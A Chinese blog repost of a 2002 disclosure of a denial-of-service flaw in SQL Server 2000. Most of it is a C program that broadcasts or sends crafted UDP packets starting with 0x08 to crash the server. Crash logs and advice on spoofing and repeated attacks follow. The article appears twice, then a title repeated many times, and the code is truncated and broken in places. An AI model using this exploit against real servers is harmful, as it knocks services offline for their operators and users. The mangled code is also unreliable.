Chinaunix首页 | 论坛 | 博客
  • 博客访问: 16410584
  • 博文数量: 5645
  • 博客积分: 9880
  • 博客等级: 中将
  • 技术积分: 68081
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-28 13:35
文章分类

全部博文(5645)

文章存档

2008年(5645)

我的朋友

分类:

2008-04-28 14:22:57

下载本文示例代码

偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包
会导致SQL SERVER当机:演示代码如下参数:跟SQL SERVER服务器的IP或广播地址的IP
  int main(int argc, char* argv[])
  {
  WSADATA WSAData;
  SOCKET sock;
  SOCKADDR_IN addr_in;
  char buf[1024]={'x08','x00'};
  HANDLE listener;
  const int SNDBUF = 0;
  const int TCPNODELAY = TRUE;
  const int BROADCAST = TRUE;
  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

  {
  return FALSE;
  }
  if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
  {
  return FALSE;
  }
  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(1434);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF,
  {
  return FALSE;
  }
  if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY,
  {
  return FALSE;
  }
  if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST,
  {
  return FALSE;
  }
  for(j=0;j<256;j )
  {
  buf[1]=j;
  sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(ad
  Sleep(100);
  }
  WSACleanup();
  return 0;
  }
  BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返
  2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的
异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。
  2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。
  如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了
SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。
  但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻
易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。
  测试环境:
  SQL SERVER 2000 SP2
  WINDOWS 2000 SERVER SP3,ADV SERVER SP3,professional SP2

偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包
会导致SQL SERVER当机:演示代码如下参数:跟SQL SERVER服务器的IP或广播地址的IP
  int main(int argc, char* argv[])
  {
  WSADATA WSAData;
  SOCKET sock;
  SOCKADDR_IN addr_in;
  char buf[1024]={'x08','x00'};
  HANDLE listener;
  const int SNDBUF = 0;
  const int TCPNODELAY = TRUE;
  const int BROADCAST = TRUE;
  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

  {
  return FALSE;
  }
  if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
  {
  return FALSE;
  }
  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(1434);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF,
  {
  return FALSE;
  }
  if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY,
  {
  return FALSE;
  }
  if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST,
  {
  return FALSE;
  }
  for(j=0;j<256;j )
  {
  buf[1]=j;
  sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(ad
  Sleep(100);
  }
  WSACleanup();
  return 0;
  }
  BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返
  2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的
异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。
  2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。
  如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了
SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。
  但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻
易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。
  测试环境:
  SQL SERVER 2000 SP2
  WINDOWS 2000 SERVER SP3,ADV SERVER SP3,professional SP2

下载本文示例代码


SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题SQL SERVER存在拒绝服务问题
阅读(251) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~